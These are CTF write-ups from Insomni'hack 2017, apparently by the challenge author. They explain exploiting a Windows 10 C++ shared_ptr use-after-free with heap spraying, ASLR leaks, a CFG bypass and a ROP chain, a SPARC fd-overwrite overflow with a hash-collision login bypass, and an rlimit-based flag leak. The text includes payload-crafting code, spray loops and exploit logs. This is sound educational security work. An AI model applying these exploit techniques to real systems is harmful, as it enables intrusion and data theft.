Exploiting a misused C++ shared pointer on Windows 10

In this post I describe a detailed solution to my “winworld” challenge from Insomni’hack CTF Teaser 2017. winworld was a x64 windows binary coded in C++11 and with most of Windows 10 built-in protections enabled, notably AppContainer (through the awesome AppJailLauncher), Control Flow Guard and the recent mitigation policies.

These can quickly be verified using Process Hacker (note also the reserved 2TB of CFGBitmap!):

The task was running on Windows Server 2016, which as far as the challenge is concerned behaves exactly as Windows 10 and even uses the exact same libraries. The challenge and description (now with the source code) can be found here.

Logic of the binary:

Our theme this year was “rise of the machines”; winworld is about the recent Westworld TV show, and implements a “narrator” interface where you can create robots and humans, configure their behavior, and move them on a map where they interact with each other.

The narrator manipulates Person objects, which is a shared class for both “hosts” (robots) and “guests” (humans). Each type is stored in separate list.

Each Person object has the following attributes:

The narrator exposes the following commands:

--[ Welcome to Winworld, park no 1209 ]--
narrator [day 1]$ help
Available commands:
 - new <type> <sex> <name>
 - clone <id> <new_name>
 - list <hosts|guests>
 - info <id>
 - update <id> <attribute> <value>
 - friend <add|remove> <id 1> <id 2>
 - sentence <add|remove> <id> <sentence>
 - map
 - move <id> {<l|r|u|d>+}
 - random_move
 - next_day
 - help
 - prompt <show|hide>
 - quit
narrator [day 1]$

The action happens during calls to move or random_move whenever 2 persons meet. The onEncounter method pointer is called and they interact. Only attack actually has impact on the other Person object: if the attack is successful the other takes damage and possibly dies. Robots can die an infinite number of times but cannot kill humans. Humans only live once and can kill other humans. The next_day feature restores the lives of robots and the health of everyone, but if the object is a dead human, it gets removed from its list.

People talk in an automated way using a Markov Chain that is initialized with the full Westworld script and the added sentences, which may incur in fun conversations. Many sentences still don’t quite make sense though, and since the vulnerabilities aren’t in there, I specified it in the description to spare some reversing time (there is already plenty of C++ to reverse…).

Vulnerability 1: uninitialized attribute in the Person copy constructor

During the Narrator initialization, the map is randomly generated and a specific point is chosen as the “maze center”, special point that when reached under certain conditions, turns a robot into a human. These conditions are that the currently moved Person must be a HOST, have is_conscious set, and there must be a human (GUEST) on the maze center too.

First thing is thus to find that point. All randomized data is obtained with rand(), and the seed is initialized with a classic srand(time(NULL)). Therefore the seed can be determined easily by trying a few seconds before and after the local machine time. Once synchronized with the server’s clock, simply replaying the map initialization algorithm in the exploit will finally allow to find the rand() values used to generate the maze center. Coding a simple pathfinding algorithm then allows to walk any person to this position.

Robots are initialized with is_conscious = false in the Person::Person constructor. However the Person::Person *copy* constructor used in the narrator’s clone function forgets to do this initialization! The value will thus be uninitialized and use whatever was already on the heap. It turns out that just cloning a robot is often enough to get is_conscious != 0… but let’s make sure it always is.

Sometimes the newly cloned robot will end up on the Low Fragmentation Heap, sometimes not. Best is then to make sure it always ends up on the LFH by cloning 0x10 – number of current Person objets = 6. Let’s clone 6+1 times a person and check in windbg:

0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at 'winworld!Person::Person'
0:004> bp 00007ff7`9b9ee880 "r rcx ; g" ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0
rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70
Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d70
0:000> !heap -x 0000024a826800c0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy 

0:000> !heap -x 0000024a82673d70
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 - 10 LFH;busy

Here we see that the first 2 clones aren’t on the LFH, while the remaining ones are.

The LFH allocations are randomized, which could add some challenge. However these allocations are randomized using an array of size 0x100 with a position that is incremented modulo 0x100, meaning that if we spray 0x100 elements of the right size, we will come back to the same position and thus get a deterministic behavior. We don’t even need to keep the chunks in memory, so we can simply spray using a command string of size 0x90 (same as Person), which will always initialize the is_conscious attribute for the upcoming clone operation.

So now our robot becomes human, and the troubles begin!

Note: It seems that by default Visual Studio 2015 enables the /sdl compilation flag, which will actually add a memset to fill the newly allocated Person object with zeros, and thus makes it unexploitable. I disabled it 😉 But to be fair, I enabled CFG which isn’t default!

Vulnerability 2: misused std::shared_ptr

A shared pointer is basically a wrapper around a pointer to an object. It notably adds a reference counter that gets incremented whenever the shared_ptr is associated to a new variable, and decremented when that variable goes out of scope. When the reference counter becomes 0, no more references to the object are supposed to exist anywhere in the program, so it automatically frees it. This is very useful against bugs like Use After Free.

It is however still possible to be dumb with these smart pointers… in this challenge, when a robot becomes human, it stays in the robots list (but its is_enable field becomes false so it cannot be used as a robot anymore), and gets inserted into the humans list with the following code:

This is very wrong because instead of incrementing the reference counter of the object’s shared_ptr, we instead create a new shared_ptr that points to the same object:

When the reference counter of any of the two shared_ptr gets decremented to 0, the object gets freed and since the other shared_ptr is still active, we will get a Use After Free! To do so, we can kill the human-robot using another human. We also have to remove all his friends otherwise the reference counter will not reach 0. Then using the next_day function will free it when it removes the pointer from the guests vector:

So now getting RIP should be easy since the object holds a method pointer: spray 0x100 strings of length 0x90 with a fake object – a std::string can also contain null bytes – and then move the dead human-robot left-right so he meets his killer again, and triggers the overwritten onEncounter method pointer:

def craft_person(func_ptr, leak_addr, size):
 payload = struct.pack("<Q", func_ptr) # func pointer
 payload += "\x00" * 24 # friends std::vector
 payload += "\x00" * 24 # sentences std::vector

 # std::string name
 payload += struct.pack("<Q", leak_addr)
 payload += "JUNKJUNK"
 payload += struct.pack("<Q", size) # size
 payload += struct.pack("<Q", size) # max_size

 payload += struct.pack("<I", 1) # type = GUEST
 payload += struct.pack("<I", 1) # sex
 payload += "\x01" # is_alive
 payload += "\x01" # is_conscious
 payload += "\x01" # is_enabled
 [...]

payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)
for i in range(0x100):
    sendline(s, payload)
sendline(s, "move h7 lr")

Result:

0:004> g
(1a00.c68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200

Control Flow Guard is going to complicate things a bit, but before that we still need to leak one address to defeat ASLR.

Leaking the binary base address

In the previous code sample we crafted a name std::string of size 0 to prevent the binary from crashing when printing the name. Replacing the pointer and size with valid values will print size bytes at that address, therefore we got our arbitrary read primitive. Now what do we print? There is ASLR everywhere except for the _KUSER_SHARED_DATA at 0x7ffe0000, which doesn’t hold any pointer anymore on Windows 10…

Instead of exploiting our UAF with a string we must therefore replace the freed Person object with another object of the same LFH size (0xa0). We don’t have any, but we can check if we could increase the size of one of our vectors instead.

Iteratively trying with our std::vector<std::shared_ptr<Person>> friends, we get lucky with 7 to 9 friends:

0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0
000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0
Entry User Heap Segment Size PrevSize Unused Flags
-------------------------------------------------------------------------------------------------------------
000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 - 10 LFH;busy 

0:000> dq 000001cf`94d949b0
000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer
000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size
000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3
000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable'
000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030

The vector now belongs to the same LFH bucket as Person objects. If  we spray 0xf0 strings followed by 0x10 7-friends vectors we will be able to leak pointers: to a vtable inside winworld and to the heap. We should be able to actually do that with 0xff strings then 1 friends vector, but there appears to be some allocations happening in between sometimes – and I haven’t debugged what caused it.

We don’t control the size though, which is huge, so the binary will inevitably crash! Good thing is that on Windows libraries are randomized only once per boot, as opposed to the heap, stack etc. that are randomized for each process. This is dirty, but since this binary is restarted automatically it isn’t a problem, so we have leaked the binary base and we can reuse it in subsequent connections.

Protip: when you develop a Windows exploit, don’t put the binary on the share to your Linux host, this has the nice side effect of forcing randomization of the binary base at each execution! Call it a mitigation if you want 🙂

Bypassing Control Flow Guard

Control Flow Guard (CFG) is Microsoft’s Control Flow Integrity (CFI) measure, which is based on the simple idea that any indirect call must point to the beginning of a function. A call to __guard_check_icall_fptr is inserted before indirect calls:

On Windows 10 this calls ntdll!LdrpValidateUserCallTarget to check that the pointer is a valid function start using its CFGBitmap of allowed addresses, and aborts if not.

The advantage of CFG is that it can hardly break a legit program (so, no reason not to use it!). However 3 generic weaknesses are apparent in CFG:

  1. The set of allowed targets is still huge, compared to a CFI mechanism that verifies the type of function arguments and return values
  2. It cannot possibly protect the stack, since return addresses are not function starts. Microsoft will attempt to fix this with Return Flow Guard and future Intel processor support, but this is not enforced yet.
  3. If a loaded module isn’t compiled with CFG support, all the addresses within that modules are set as allowed targets in the CFGBitmap. Problems may also arise with JIT. (here the binary and all DLLs support CFG and there is no JIT)

While I was writing this challenge an awesome blog post was published about bypassing CFG, that abuses kernel32!RtlCaptureContext (weakness 1). It turns out that j00ru – only person that solved this task, gg! – used it to leak the stack, but I haven’t, and opted for leaking/writing to the stack manually (weakness 2).

We have abused the std::string name attribute for arbitrary read already, now we can also use it to achieve arbitrary write! The only requirement is to replace the string with no more bytes than the max size of the currently crafted std::string object, which is therefore no problem at all. This is cool, however so far we don’t even know where the stack (or even heap) is, and it is randomized on each run of the program as opposed to the libraries. We will come back to this later on. First we also want to leak the addresses of the other libraries that we may want to use in our exploit.

Leaking other libraries

Using the binary base leak and a spray of 0x100 crafted persons strings we have enough to leak arbitrary memory addresses. We can leave the vectors to null bytes to prevent them from crashing during the call to Person::printInfos.

Now that we have the binary base address and that it will stay the same until next reboot, leaking the other libraries is trivial: we can just dump entries in the IAT. My exploit makes use of ucrtbase.dll and ntdll.dll (always in the IAT in the presence of CFG), which can be leaked by crafting a std::string that points to the following addresses:

0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget

To repeat the leak we can overwrite the onEncounter method pointer with the address of gets(), once we have located the base address of ucrtbase.dll. This is of course because of the special context of the task that has its standard input/output streams redirected to the client socket. This will trigger a nice gets(this_object) heap overflow that we can use to overwrite the name string attribute in a loop.

Leaking the stack

Where can we find stack pointers? We can find the PEB pointer from ntdll, however in x64 the PEB structure doesn’t hold any pointer to the TEBs (that contains stack pointers) anymore…

A recent blogpost from j00ru described an interesting fact: while there is no good reason to store stack pointers on the heap, there may be some leftover stack data that was inadvertently copied to the heap during process initialization.

His post describes it on x86, let’s check if we still have stack pointers lurking on the heap in x64:

0:001> !address
[...]
        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
[...]
        3b`b6cfb000       3b`b6d00000        0`00005000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack      [~0; 2524.1738]
[...]
0:001> !heap
 Heap Address NT/Segment Heap

 17c262d0000 NT Heap
 17c26120000 NT Heap
0:001> !address 17c262d0000 

Usage: Heap
Base Address: 0000017c`262d0000
End Address: 0000017c`26332000
[...]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca80
00007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20

Yes! We indeed still have stack pointers on the default heap, and we can leak an address from that heap at static offsets from our winworld base address.

Now we can just browse heap pages and try to find these stack addresses. In my exploit for simplicity I used a simple heuristic that finds QWORDS that are located below the heap but also above 1`00000000, and interactively ask which one to choose as a stack leak. This can obviously be improved.

Next step is to dump the stack until we find the targeted return address, craft our std::string to point to that exact address, and use the “update <id> name ropchain” feature to write a ropchain!

Mitigation policies & ROP

Now that we have both an arbitrary write and the exact address where we can overwrite a saved RIP on the stack, all that is left is build a ROP chain. Several ideas to do it:

  • VirtualProtect then shellcode
  • LoadLibrary of a library over SMB
  • Execute a shell command (WinExec etc.)
  • Full ROP to read the flag

As mentioned earlier the binary has some of the recent mitigation policies, in our context the following ones are relevant:

  • ProcessDynamicCodePolicy : prevents inserting new executable memory → VirtualProtect will fail
  • ProcessSignaturePolicy : libraries must be signed  → prevents LoadLibrary
  • ProcessImageLoadPolicy : libraries cannot be loaded from a remote location → prevents LoadLibrary over SMB

The two last options are still available. I also wanted to add a call to UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY in the parent AppJailLauncher process – which would prevent winworld from creating new processes – but since it is a console application, spawning winworld also creates a conhost.exe process. Using this mitigation prevents the creation of the conhost.exe process and therefore the application cannot run.

My solution reads the flag directly in the ROP chain. Since I didn’t want to go through all the trouble of CreateFile and Windows handles, I instead used the _sopen_s / _read / puts / _flushall functions located in ucrtbase.dll that have classic POSIX-style file descriptors (aka 0x3).

Looking for gadgets in ntdll we can find a perfect gadget that pop the first four registers used in the x64 calling convention. Interestingly the gadget turns out to be in CFG itself, which was a scary surprise while single stepping through the rop chain…

0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret

Putting it all together we finally get the following:

Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed...
 Clock not synced with server...
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 ...
[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 ...
[+] Cloning host, with uninitialized memory this one should have is_conscious...
[+] Removing current friends of pwnrobot...
[+] Moving a guest to the maze center (37, 86) -> (38, 41)...
[+] Moving our host to the maze center (38, 29) -> (38, 41)...
[+] pwnrobot should now be a human... kill him!
[+] Removing all pwnrobot's friends...
7 / 7 ...
[+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 ...
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr...
[+] Dumping heap @ 0x18a6eae6b40...
[+] Dumping heap @ 0x18a6eae7b40...
[HEAP] 0x18a6eae7b40
 [00] - 0x18a6ea96c72
 [01] - 0x18a6ea9c550
 [02] - 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40...
[HEAP] 0x18a6eae8b40
 [00] - 0x3ab7faf120
 [01] - 0x3ab7faf4f0
 [02] - 0x18a6ea9c550
 [03] - 0x18a6eae84c0
 [04] - 0x18a6eae8560
 [05] - 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
RIP at offset 0x8
[+] Overwrite stack with ROPchain...
[+] Trigger ROP chain...
Better not forget to initialize a robot's memory!

Flag: INS{I pwn, therefore I am!}
[+] Exploit completed.

Conclusions

You can find the full exploit here.

I hope it was useful to those like me that are not so used at to do C++ or Windows exploitation. Again congratulations to Dragon Sector for solving this task, 1h before the CTF end!

Insomni’hack finals – Jurassic Sparc writeup

This task wasn’t solved during the CTF. People must hate sparc!

Find the binary, sources and exploit here!

In this task you were provided a sparc server binary and a python client, which was a Tkinter GUI. The client had an automatic animation reproducing the commands that are entered in the famous Jurassic Park video :

jurassicpark_magicword

The communication is established with a custom binary protocol, but the good news is, you can use the protocol.py file, which defines the basic structures and functions that are used throughout the client-server exchanges. So you don’t need to reverse everything! However as we are going to see the sparc syntax may be awful and IDA wasn’t helping much, which is where most teams stopped, unfortunately.
Also worth noting is the AnimationAccessSecurityGrid.animate method, which is called when the client checks the user authentication. It turns out to be the only code that calls protocol.authenticate.
The latest reveals that you need both valid credentials (user/password) and to provide the magic word (all of which can be edited within the GUI).

Now based on the protocol.py file you also know that an authentication packet has type 1, and a reboot packet has type 2. There are no other commands that the client can send. That allows to quickly identify within the client handle loop (sub_D80) the calls to the reboot command (sub_1B70, named cmd_reboot from now on) and authentication command (sub_18B8, cmd_auth).
Reversing the binary isn’t so easy because IDA doesn’t resolve strings, that are constructed like this (starting with the cmd_reboot function):

... [start of a function ] ...
.text:00001B74 sethi %hi(0x12400), %l7
.text:00001B78 call sub_D60 -> retl ; add %o7, %l7, %l7
.text:00001B7C inc 0x54, %l7
... [later] ...
.text:00001BEC sethi %hi(0x11C00), %o0
.text:00001BF0 btog -0x3CC, %o0
.text:00001BF4 add %l7, %o0, %o0 ! path

We can then extract the strings as follows within the output window in IDA:

Python> l7 = 0x12400 + 0x1B78 + 0x54
Python> GetString((0x11c00 ^ -0x3CC) + l7)
./credsdb
Python> GetString((0x11c00 ^ -0x394) + l7)
/dev/null
Python> GetString((0x11c00 ^ -0x374) + l7)
Reboot: failed to perform backup...
Python> GetString((0x11c00 ^ -0x3AC) + l7)
Message too long

Now we can reverse the cmd_reboot function, which:

  1. fails with “Message too long” if the provided message’s length is >= 200
  2. opens in_fd = open("./credsdb", O_RDONLY);
  3. opens out_fd = open("/dev/null", O_WRONLY);
  4. creates a string on the stack:
    var_D4 = 'Rebo'
    var_D0 = 'ot: '
    memcpy(var_CB, your_message, your_message_length)
  5. does fstat on the credsdb to extract the size
  6. sendfile(out_fd, in_fd, filesize)

The stack layout is [ var_D4 ][ var_D0 ][ var_CC ][ in_fd ][ out_fd ][ var_4 ].
We have a limited size buffer overflow (7 bytes, big endian) which allows us to rewrite the file descriptors.
As a result, we can make the server send us the database (fd 4 is our client handle, fd 3 was closed after fork):

import struct
import hexdump
from protocol import *

jp = JurassicProtocol("localhost", 9090,0xB16B00B5 )
payload = "A" * 191 + struct.pack(">II", 3, 4)
jp.send_packet(PACKET_REBOOT, payload)
hexdump.hexdump(jp.s.recv(0x2000))

Now back to cmd_auth : this function opens the credsdb file and loops until it finds a login that matches ours with strncmp, then it creates a checksum of our password using the sha512 function, and compares it with the database password using strncmp as well. One should not compare a raw hash using a string function, and that was indeed an issue since at least one user had a null byte in one of the first bytes of his hash :

...
00000370 52 6f 62 65 72 74 4d 75 6c 64 6f 6f 6e 00 00 00 |RobertMuldoon...| <- login
00000380 4c 75 c4 08 c6 8d 2b 99 63 04 40 38 2b a4 c8 eb |[email protected]+...| <- hash
00000390 69 55 61 b3 0d 2c 2c b0 1d c1 cc b2 a8 2d 6d 90 |iUa..,,......-m.|
000003a0 72 67 19 1a ad 82 bc 7c fd 86 dc 75 da 20 43 c9 |rg.....|...u. C.|
000003b0 39 71 b1 5d 34 d9 ee b4 63 95 ff bc df 3b 5f 67 |9q.]4...c....;_g|
000003c0 44 65 6e 6e 69 73 4e 65 64 72 79 00 00 00 00 00 |DennisNedry.....| <- login
000003d0 d2 93 00 b7 c9 ac 12 7b f2 5b 59 f7 05 5e db 53 |.......{.[Y..^.S| <- hash
000003e0 03 8a 92 5e 5c 45 50 68 98 0c c7 e5 ed d4 30 1c |...^EPh......0.|
000003f0 5b 30 e8 c3 d9 65 0d 5d b5 61 9e a8 af 8a 8b 5c |[0...e.].a.....|
00000400 a7 45 27 3e 0f f6 1b 2b 86 70 13 75 ae 9c dd bc |.E'>...+.p.u....|
...

This can be brute-forced easily to find a collision. An example password whose hash starts with “d2 93 00” is “22320540“.
Now the only missing piece in the puzzle is the magic word.
From AnimationAccessSecurityGrid.animate in the python code we know that the return value of cmd_auth is:

  • 0 if auth failed
  • 1 if auth failed and/or magic is wrong
  • 2 if auth & magic word are ok

Thus simply looking at cmd_auth‘s graph we can deduce that the following snippet of code is in charge of the magic word comparison (we know from protocol.py that magic is an uint64):

jurassicsparc_condition_magic

which gives us…

>>> print hex((0xB17 << 32) | ctypes.c_uint32(-0x3B681800 ^ 0x25e).value)
0xb17c497ea5eL

When both the credentials and the magic word are valid, the cmd_auth function returns the flag, which should be directly printed in the GUI, however it seems I messed up something when removing the intended second part :/, so you had to to it from python:

jp = JurassicProtocol("localhost", 9090, 0xB17C497EA5E)
print jp.authenticate("DennisNedry", "22320540")
print jp.s.recv(0x1000) # Shouldn't be needed :/

Flag for Jurassic Sparc part 1 - INS{reboot is _always_ the solution}

Insomni’hack finals – smtpwn writeup

This challenge was solved by several teams during the contest, however it seems that most teams didn’t have the intended solution, so here it is 😉
The source, binary and exploit for this challenge can be found on our github here!
smtpwn was a very simple local SMTP service. Basically you write a message to its stdin, and it’ll write a file to /tmp/ with the following content:

Message-ID: <urandom_hex_string>rn
From: "fromuser" <[email protected]>rn
To: "touser" <[email protected]>rn
Date: current_datetimern
X-Flag: the_flagrn
Subject: Read this message to get the flag!rn
rnuser_inputrn.rn

Where you control or known every variable except the urandom_hex_string used as a message-id, and the flag.
Now the program works as follows:

  1. retrieve all variables used in the message in the following order: the message on stdin, the username, hostname, current date, the flag, and the random message-id.
  2. create the output file, which name is /tmp/mail_<time>_<message-id>, and write the message to it.
  3. print the message id and the output file checksum
  4. destroy the output file

The new file can only be read by its owner, which is the setuid one. So you cannot just make stdout blocking, read the message-id and read the file before unlink is called.

The random string is problematic, because you can’t guess it nor brute-force it. The trick here lies in the way error handling was performed: the message “An error occured” is printed but the program doesn’t exit.

if (/* ... snip ...*/
    /* read flag */
    ((flag_fd = open(FLAG_PATH, O_RDONLY)) == -1) ||
    (read(flag_fd, msg->flag, FLAG_SIZE) < 0) ||

    /* generate random Message-ID */
    ((urandom_fd = open(RANDOM_PATH, O_RDONLY)) == -1) ||
    (read(urandom_fd, random, sizeof(random)) != sizeof(random)) ||
    (hexdigest(msg->id, random, sizeof(random)))
) {
    fail();
}

close(flag_fd);
close(urandom_fd);

Because the flag is opened before /dev/urandom and not closed yet, you can cause a file descriptor exhaustion bug to happen, which would leave the random message-id initialized with null bytes.
That can be trivially done using ulimit (or setting RLIMIT_NOFILE to 4 with setrlimit()).

Many teams just stopped there and then performed a race condition by creating a hardlink so they can read the flag file. Which I didn’t really think of (fail). However there’s a “cleaner” solution, which involves ulimit / setrlimit again.

Because we now know the message-id (null bytes), the only thing left that we don’t know is the flag itself. Remember that the checksum of the file written to disk is provided. We can use that information to leak the flag byte by byte, proceeding as follows:

  1. set RLIMIT_NOFILE to 4 to bypass /dev/urandom
  2. set RLIMIT_FSIZE so that the program cannot write more than X+1 bytes, X being the number of bytes before the flag
  3. launch smtpwn and check out the checksum
  4. bruteforce the last byte (255 possibilities) until we match the checksum
  5. repeat with RLIMIT_FSIZE += 1

The exploit can be found on github here.

This allows to retrieve the flag quickly (and reliably):

[+] I
[+] IN
[+] INS
[+] INS{
[+] INS{M
[+] INS{M4
* snip *
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3l
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf}
[+] INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf}

Final flag: INS{M4yb3 0th3r p30pl3 w1ll try t0 l1m1t m3 but 1 d0n't l1m1t mys3lf}